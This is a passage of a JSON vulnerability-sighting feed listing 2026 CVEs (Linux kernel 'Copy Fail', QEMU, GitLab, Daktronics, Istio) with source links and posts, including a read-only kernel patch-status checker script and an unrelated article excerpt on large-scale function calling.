mais: -> tinyurl.com/4zhwpk5s", "creation_timestamp": "2026-06-19T12:56:59.848086Z"}, {"uuid": "8e462732-10f5-417d-8cb9-9f0452656dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31451", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T04:45:23.189823Z"}, {"uuid": "5cdca4d6-5c13-4082-81e5-312b1040ef85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31755", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T04:45:27.744055Z"}, {"uuid": "1a216698-ea4b-442e-9841-07d2e4c3fb45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3monfdw6r7s2l", "content": "N\u00e3o pode reiniciar seu Oracle Linux 9 agora? Aprenda a mitigar CVE-2026-31504, CVE-2026-31533 e outras com iptables e ajustes de sysctl. Script incluso.  Saiba mais: -> tinyurl.com/4zhwpk5s", "creation_timestamp": "2026-06-19T12:56:59.324731Z"}, {"uuid": "d733c0a0-8251-4f09-b657-22854bf3b7a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3monfdw6r7s2l", "content": "N\u00e3o pode reiniciar seu Oracle Linux 9 agora? Aprenda a mitigar CVE-2026-31504, CVE-2026-31533 e outras com iptables e ajustes de sysctl. Script incluso.  Saiba mais: -> tinyurl.com/4zhwpk5s", "creation_timestamp": "2026-06-19T12:56:59.101377Z"}, {"uuid": "b435bd1d-6f2a-4480-b975-387f6de83ea9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3monfdxrl722l", "content": "N\u00e3o pode reiniciar seu Oracle Linux 9 agora? Aprenda a mitigar CVE-2026-31504, CVE-2026-31533 e outras com iptables e ajustes de sysctl. Script incluso.  Saiba mais: -> tinyurl.com/4zhwpk5s", "creation_timestamp": "2026-06-19T12:56:59.995048Z"}, {"uuid": "9b74cf90-c533-4a68-932d-051e2bd7317a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3196", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3monwgeouyf2o", "content": "CVE-2026-3196 - Qemu-kvm: virtio-snd: integer overflow leading to unbounded memory allocation\nCVE ID : CVE-2026-3196\n \n Published : June 19, 2026, 4:23 p.m. | 1\u00a0hour, 20\u00a0minutes ago\n \n Description : An integer overflow vulnerability was found in the virtio-snd device via PCM_I...", "creation_timestamp": "2026-06-19T18:02:31.449735Z"}, {"uuid": "8c68e9c6-d4d6-4127-b79b-cad41fe44863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3195", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3monxwnga622h", "content": "CVE-2026-3195 - Qemu-kvm: virtio-snd: heap buffer overflow in virtio_snd_pcm_in_cb (incomplete fix for cve-2024-7730)\nCVE ID : CVE-2026-3195\n \n Published : June 19, 2026, 4:23 p.m. | 1\u00a0hour, 19\u00a0minutes ago\n \n Description : A flaw was found in QEMU. When reading input audio in ...", "creation_timestamp": "2026-06-19T18:29:31.144186Z"}, {"uuid": "fa5c6ca6-b39a-42aa-a89d-5c6817606ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/papoo7.bsky.social/post/3morycehkvu2r", "content": "Podman\u306erootless\u30b3\u30f3\u30c6\u30ca\u306f\u3069\u3053\u307e\u3067\u5b89\u5168\u304b\uff1aCopy Fail\u8106\u5f31\u6027\u304b\u3089\u898b\u3048\u308b\u73fe\u5b9f\n\n- Copy Fail\uff08CVE-2026-31431\uff09\u306f\u3001\u30ed\u30fc\u30ab\u30eb\u306e\u672a\u7279\u6a29\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u596a\u3048\u308b\u8106\u5f31\u6027\u3068\u3057\u3066\u516c\u958b\u3055\u308c\u305f - Podman\u306erootle\u2026\n\n#Claude #AI #ClaudeCode", "creation_timestamp": "2026-06-21T08:46:43.187543Z"}, {"uuid": "7d396b9a-ed85-44af-a5aa-ee801b189cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/devopsstart.com/post/3motmts7ay52l", "content": "Mitigate the Copy Fail (CVE-2026-31431) vulnerability in Linux kernels. Learn how to implement seccomp profiles for Kubernetes to prevent local privilege escalation. #Cve202631431 #SeccompKubernetes", "creation_timestamp": "2026-06-22T00:27:05.726232Z"}, {"uuid": "feb29103-a585-438b-8eef-db42686862f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3120", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mouok4rzvr2f", "content": "\ud83d\udee1\ufe0f Next.js 16.x users, pay attention! A new critical RCE (CVE-2026-3120) has been discovered. Our weekly roundup covers the technical details and how to secure your frameworks. Full report here: https://cvedatabase.com/blog/weekly-cve-roundup-next-js-rce-and-the-growing-complexity...", "creation_timestamp": "2026-06-22T10:30:05.537285Z"}, {"uuid": "0c97bd06-7f7c-4db4-b240-cab1d58d9c69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31978", "type": "published-proof-of-concept", "source": "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3", "content": "", "creation_timestamp": "2026-06-20T16:47:55.000000Z"}, {"uuid": "007bd13c-19fe-477a-a6d3-6648dcbd67e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mowutuias5b2", "content": "Fixing CVE-2026-31431 (\u201cCopy Fail\u201d) Across Linux Distributions Overview CVE-2026-31431, nicknamed Copy Fail, is a local privilege escalation vulnerability in the Linux kernel, published on 29 A...\n\n#Linux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-06-23T07:28:17.400384Z"}, {"uuid": "b6dc384e-c88b-4031-b8e7-11dfb3d4ceda", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ee629f79-23a1-4997-8997-a78af606c659", "content": "", "creation_timestamp": "2026-06-23T14:03:38.529166Z"}, {"uuid": "562b85ec-3899-4619-9450-c26b5a0248b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/MKMithun2806/99dea4bb94917cf457ff8a81203e4bb2", "content": "#!/usr/bin/env python3\n\"\"\"\nCopy Fail (CVE-2026-31431) - read-only checker.\n\nDoes NOT:\n  - modify files\n  - modify page cache\n  - target setuid binaries\n  - execute an exploit\n\"\"\"\n\nimport os\nimport platform\nimport socket\nimport subprocess\nimport sys\n\n\nFIXES = {\n    \"5.10\": (5, 10, 254),\n    \"5.15\": (5, 15, 204),\n    \"6.1\":  (6, 1, 170),\n    \"6.6\":  (6, 6, 137),\n    \"6.12\": (6, 12, 85),\n    \"6.18\": (6, 18, 22),\n    \"6.19\": (6, 19, 12),\n}\n\n\ndef command(*args):\n    try:\n        return subprocess.check_output(\n            args,\n            text=True,\n            stderr=subprocess.DEVNULL\n        ).strip()\n    except (OSError, subprocess.CalledProcessError):\n        return None\n\n\ndef parse_kernel_release(release):\n    # Handles strings such as:\n    # 6.12.71-generic\n    # 6.6.90-rt\n    base = release.split(\"-\", 1)[0]\n    parts = base.split(\".\")\n\n    try:\n        return tuple(int(x) for x in parts[:3])\n    except (ValueError, IndexError):\n        return None\n\n\ndef kernel_version_status(version):\n    parsed = parse_kernel_release(version)\n\n    if not parsed:\n        return \"UNKNOWN\"\n\n    major, minor, patch = parsed\n    key = f\"{major}.{minor}\"\n\n    if key in FIXES:\n        fixed = FIXES[key]\n\n        if parsed >= fixed:\n            return f\"PATCHED (>= {fixed[0]}.{fixed[1]}.{fixed[2]})\"\n\n        return f\"POTENTIALLY AFFECTED (< {fixed[0]}.{fixed[1]}.{fixed[2]})\"\n\n    # Versions older than the affected range are not relevant.\n    if parsed < (4, 14, 0):\n        return \"NOT IN LISTED AFFECTED RANGE\"\n\n    # Newer branches may contain the upstream fix even when\n    # this table does not know their vendor backport status.\n    return \"UNKNOWN (check vendor kernel advisories)\"\n\n\ndef check_af_alg():\n    try:\n        s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)\n    except OSError as e:\n        return False, f\"AF_ALG unavailable: {e}\"\n\n    try:\n        s.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\"))\n        return True, \"authencesn available\"\n    except OSError as e:\n        return False, f\"authencesn unavailable: {e}\"\n    finally:\n        s.close()\n\n\ndef check_modules():\n    loaded = command(\"lsmod\")\n    if loaded is None:\n        return \"unknown\"\n\n    return \"loaded\" if \"algif_aead\" in loaded else \"not loaded\"\n\n\ndef main():\n    print(\"=\" * 60)\n    print(\" Copy Fail / CVE-2026-31431 \u2014 READ-ONLY CHECK\")\n    print(\"=\" * 60)\n\n    release = platform.release()\n    print(f\"\\nKernel       : {release}\")\n\n    version_status = kernel_version_status(release)\n    print(f\"Version      : {version_status}\")\n\n    splice = hasattr(os, \"splice\")\n    print(f\"os.splice()  : {'available' if splice else 'unavailable'}\")\n\n    afalg, afalg_msg = check_af_alg()\n    print(f\"AF_ALG       : {'available' if afalg else 'unavailable'}\")\n    print(f\"authencesn   : {afalg_msg}\")\n\n    module = check_modules()\n    print(f\"algif_aead   : {module}\")\n\n    distro = command(\"cat\", \"/etc/os-release\")\n    if distro:\n        pretty = None\n        for line in distro.splitlines():\n            if line.startswith(\"PRETTY_NAME=\"):\n                pretty = line.split(\"=\", 1)[1].strip('\"')\n                break\n        print(f\"Distro       : {pretty or 'unknown'}\")\n    else:\n        print(\"Distro       : unknown\")\n\n    print(\"\\nAssessment\")\n    print(\"-\" * 60)\n\n    if version_status.startswith(\"PATCHED\"):\n        print(\"[OK] Kernel version is at/above the listed fixed version.\")\n        print(\"     Verify your distro's advisory for backported fixes.\")\n\n    elif version_status.startswith(\"POTENTIALLY AFFECTED\"):\n        if afalg and splice:\n            print(\"[!] POTENTIALLY VULNERABLE\")\n            print(\"    Kernel is below the listed fixed release and\")\n            print(\"    the relevant attack surface is exposed.\")\n            print(\"    Check your distro's security advisory/package.\")\n        else:\n            print(\"[?] Kernel version is in an affected range,\")\n            print(\"    but the required attack surface is unavailable.\")\n\n    else:\n        print(\"[?] Cannot determine vulnerability status reliably\")\n        print(\"    from version information alone.\")\n\n    print(\"\\nThis checker performs no page-cache write and does not\")\n    print(\"execute /usr/bin/su or any other privileged executable.\")\n\n\nif __name__ == \"__main__\":\n    try:\n        main()\n    except KeyboardInterrupt:\n        print(\"\\nInterrupted.\", file=sys.stderr)\n        sys.exit(130)", "creation_timestamp": "2026-08-17T17:09:06.230037Z"}, {"uuid": "d042a6d3-36eb-4e21-8b4d-6c4c856273c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-174-06", "content": "", "creation_timestamp": "2026-06-23T05:00:00.000000Z"}, {"uuid": "fab19f1c-3c94-4730-a982-1bebef7280d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3moyoporvpg23", "content": "Surviving the Surge of New Linux LPE: Defense in Depth Is Not Dead +\u00a0Video\n\nIntroduction: The Linux kernel has been under siege in 2026. A relentless wave of high-profile local privilege escalation (LPE) vulnerabilities\u2014Copy Fail (CVE-2026-31431), Dirty Frag (CVE-2026-43284 / CVE-2026-43500),\u2026", "creation_timestamp": "2026-06-24T00:43:51.605418Z"}, {"uuid": "9eeb7e36-46cf-4784-a33f-e3fecc9e96fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3176", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/gitlab-multiple-vulnerabilities_20260625", "content": "", "creation_timestamp": "2026-06-25T05:45:12.987279Z"}, {"uuid": "815308e9-efba-4431-bbc4-18fda0065b32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3176", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp3qkyscss2i", "content": "CVE-2026-3176 - Missing Authorization in GitLab\nCVE ID : CVE-2026-3176\n \n Published : June 25, 2026, 4:34 a.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : GitLab has remediated an issue in GitLab EE affecting all versions from 18.6 before 18.11.6, 19.0 before 19.0.3, and 19.1 be...", "creation_timestamp": "2026-06-25T05:55:00.727844Z"}, {"uuid": "1c0bc6a9-f2c3-49bb-88ea-be2a1b4f54af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31367", "type": "seen", "source": "Telegram/2zSHnWnjNO3Na1wVQn9SXZ4BXbp1iBqREE5RdHe5T4MRT7s", "content": "", "creation_timestamp": "2026-08-17T18:00:04.370248Z"}, {"uuid": "6c33e250-69f7-4b32-af70-4cf7262c9441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3176", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mp4eyhphwq2c", "content": "\ud83d\udd17 CVE : CVE-2026-0934, CVE-2026-10086, CVE-2026-10712, CVE-2026-11379, CVE-2026-12053, CVE-2026-12635, CVE-2026-1606, CVE-2026-2238, CVE-2026-3176, CVE-2026-5309, CVE-2026-5796, CVE-2026-5952, CVE-2026-8330", "creation_timestamp": "2026-06-25T12:00:27.313745Z"}, {"uuid": "cb862714-e037-4298-b95c-854b279a92db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31928", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-176-04", "content": "", "creation_timestamp": "2026-06-25T17:15:12.198960Z"}, {"uuid": "071fe9cf-71f5-491c-9885-02c54996721d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31816", "type": "seen", "source": "Telegram/EPvN12ymnuhJhwPgdwv0Ht1qDW2f0Tzkaj5AAMM7MGXdl_E", "content": "", "creation_timestamp": "2026-08-17T18:00:07.690629Z"}, {"uuid": "654ff985-8d41-481b-a79a-0d0ebe150d85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31928", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpadupa4lk2o", "content": "CVE-2026-31928 - Daktronics Controller Firmware Use of Hard-coded Credentials\nCVE ID : CVE-2026-31928\n \n Published : June 26, 2026, 10:52 p.m. | 2\u00a0hours, 52\u00a0minutes ago\n \n Description : The DMP-5000 devices are shipped with a default administrative web account with weak authen...", "creation_timestamp": "2026-06-27T01:51:06.892866Z"}, {"uuid": "48a3f2f2-ed0e-4b77-8daf-1ca09c338c81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31928", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mpb3uhxhnl2y", "content": "Daktronics VFC-DMP-5000: HIGH severity (CVSS 8.1) flaw allows takeover via default admin credentials. No patch \u2014 change defaults & restrict web admin access. Details: https://radar.offseq.com/threat/cve-2026-31928-cwe-798-in-daktronics-vfc-dmp-5000-1b5c53a213436e5b #OffSeq #Vulnerability #Cyberse...", "creation_timestamp": "2026-06-27T09:00:28.781989Z"}, {"uuid": "2d9325ff-d622-4204-847d-7de6bd1b4de0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31928", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpbpyzrlfl27", "content": "\ud83d\udfe0 CVE-2026-31928 - High (8.1)\n\nThe DMP-5000 devices are shipped with a default administrative web account with weak authenticati...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-31928/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-27T15:00:56.838149Z"}, {"uuid": "657a7751-7737-410e-a8f0-3a82fad4b4c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31838", "type": "seen", "source": "https://t.me/tech_b0lt_Genona/6868", "content": "\ud83d\udd39 Luntry \u0432 Hall of Fame: \u043d\u0430\u0448\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Istio \n\nIstio \u2014 \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 service mesh-\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043c\u0438\u0440\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u044b\u0441\u044f\u0447\u0430\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c \u043c\u0435\u0436\u0434\u0443 \u043c\u0438\u043a\u0440\u043e\u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0438 observability \u0432 Kubernetes-\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430\u0445. \n\nR'n'D-\u043a\u043e\u043c\u0430\u043d\u0434\u0430 Luntry \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432 Istio \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a CVE-2026-31838. \u041c\u044b \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0439 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0438 \u043e\u043d\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u0442\u0447 \u0441 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435.\n\ud83d\udd17 Security Advisory \u043e\u0442 Istio \n\n\ud83d\udca1 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e?\nService mesh \u2014 \u044d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0439 \u0441\u043b\u043e\u0439  \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0432\u0435\u0441\u044c \u043c\u0435\u0436\u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0439 \u0442\u0440\u0430\u0444\u0438\u043a. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0442\u0430\u043a\u043e\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0438 \u043f\u0440\u043e\u0434\u0430\u043a\u0448\u0435\u043d-\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043e\u0432 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443. \n\n\ud83d\udd25 \u0421\u0442\u0430\u0432\u044c\u0442\u0435 \u043e\u0433\u043e\u043d\u044c, \u0435\u0441\u043b\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0435, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u043a\u0438 \u0434\u0435\u043b\u0430\u044e\u0442 \u0432\u0441\u044e \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044e \u0441\u0438\u043b\u044c\u043d\u0435\u0435!\n\n\ud83d\udcd6 \u0425\u043e\u0442\u0438\u0442\u0435 \u0443\u0437\u043d\u0430\u0442\u044c \u0432\u0441\u0451 \u0438 \u0441\u0440\u0430\u0437\u0443? \n\u041c\u044b \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \n\n#1 \u0438\u0437 5 \u0432 \u0441\u0435\u0440\u0438\u0438 \u043f\u043e\u0441\u0442\u043e\u0432 \u043e \u0432\u043a\u043b\u0430\u0434\u0435 Luntry \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043c\u0438\u0440\u043e\u0432\u043e\u0433\u043e Open Source.", "creation_timestamp": "2026-08-15T00:00:46.888976Z"}, {"uuid": "5a338fa3-ab66-4fff-9bbf-18dfbf8dae11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mpgbsjalel22", "content": "Our latest CVE Roundup is live! \ud83d\udee1\ufe0f This week: a deep dive into CVE-2026-3102 (Node.js path traversal) and the hidden dangers of using experimental features in production. Keep your runtime secure. \ud83d\udcbb Read more: https://cvedatabase.com/blog/weekly-cve-roundup-critical-node-js-permi...", "creation_timestamp": "2026-06-29T10:30:03.587010Z"}, {"uuid": "14626b80-747b-4213-8b72-004667e6fe6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31928", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mphhofsgdr2e", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31928 \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 DMP-5000: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/8F9C1A0F-B0B9-4DF2-BBBA-982DF41994A1", "creation_timestamp": "2026-06-29T21:47:47.889622Z"}, {"uuid": "ab11f9d7-5ee9-4291-9842-7c3f75d4ab79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/booHA3tL14eXFtPtfiXiCHavE-8G8_gB25w-Bebdz6QxE2k", "content": "", "creation_timestamp": "2026-08-10T18:00:03.602062Z"}, {"uuid": "9a0f734b-4209-4bc4-bbc9-a863eaa86cd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://gist.github.com/ahmadmdabit/ae061bc3153e25b3b90dae5651f95671", "content": "# The State of Large-Scale Function Calling - A Staff Engineer's Technical Landscape\n\n# The State of Large-Scale Function Calling: A Staff Engineer\u2019s Technical Landscape\n\nAn opinionated deep-dive into semantic routing, tool retrieval, and JIT context injection \u2014 the architectural response to the \u201cFat Agent\u201d trap.**Technical landscape report: \u201cThe 100-Tool Agent Is a Trap\u201d**\n\n---\n\n## 0. Framing the Problem Space & Bottom-Line Verdict\n\nThe baseline article under analysis\u2014**\u201cThe 100-Tool Agent Is a Trap: Overcoming the Latency, Cost, and Accuracy Collapse of Large-Scale Function Calling\u201d** (adapted from Prosodica LLC production deployments by Sohail Shaikh & Ankush Rastogi)\u2014is the foundational articulation of the **\u201cFat Agent\u201d** trap. The core thesis \u2014 that statically loading hundreds of tool schemas into a context window collapses accuracy, latency, and cost \u2014 is no longer a contrarian opinion. It is now the consensus position of academic groups, frontier labs, and infrastructure vendors alike. The best current systems converge on a **thin runtime + external catalog + router + durable executor + observability loop** pattern rather than a monolithic \u201cfat agent.\u201d\n\nThe independent evidence is striking in its convergence. [9](https://arxiv.org/pdf/2507.21428)Leading model providers impose varying constraints on the number of tools a single LLM API request can have, within the range of 128-512. Beyond the hard API caps, the _soft_ degradation is what bites: [2](https://vllm-semantic-router.com/blog/semantic-tool-selection/)research testing tool selection with growing catalogs found that with ~50 tools (8K tokens) most models maintain 84-95% accuracy, but with ~200 tools (32K tokens) accuracy ranges from 41-83% depending on model. The article\u2019s own numbers (78% \u2192 40% \u2192 13% at 10/100/741 tools) are aggressive but directionally aligned with this published literature.\n\nThe baseline quantifies the exact infrastructural collapse of the Fat Agent pattern: indexing a realistic catalog of **741 tools consumes up to 127,000 tokens**, which at 100,000 requests/day results in billions of wasted input tokens. Latency also breaks: processing this static context pushes Time-to-First-Token (TTFT) **beyond 5 seconds on models like GPT-4o**, and the LLM suffers from the **\u201clost in the middle\u201d** phenomenon, leading to parameter confusion and hallucinated calls. This exact breaking point is corroborated by production telemetry: **Vercel AI SDK issue #11920** documents immediate degradation and hallucination spikes when exceeding 20 active tools, and **n8n community deployment logs** show workflows 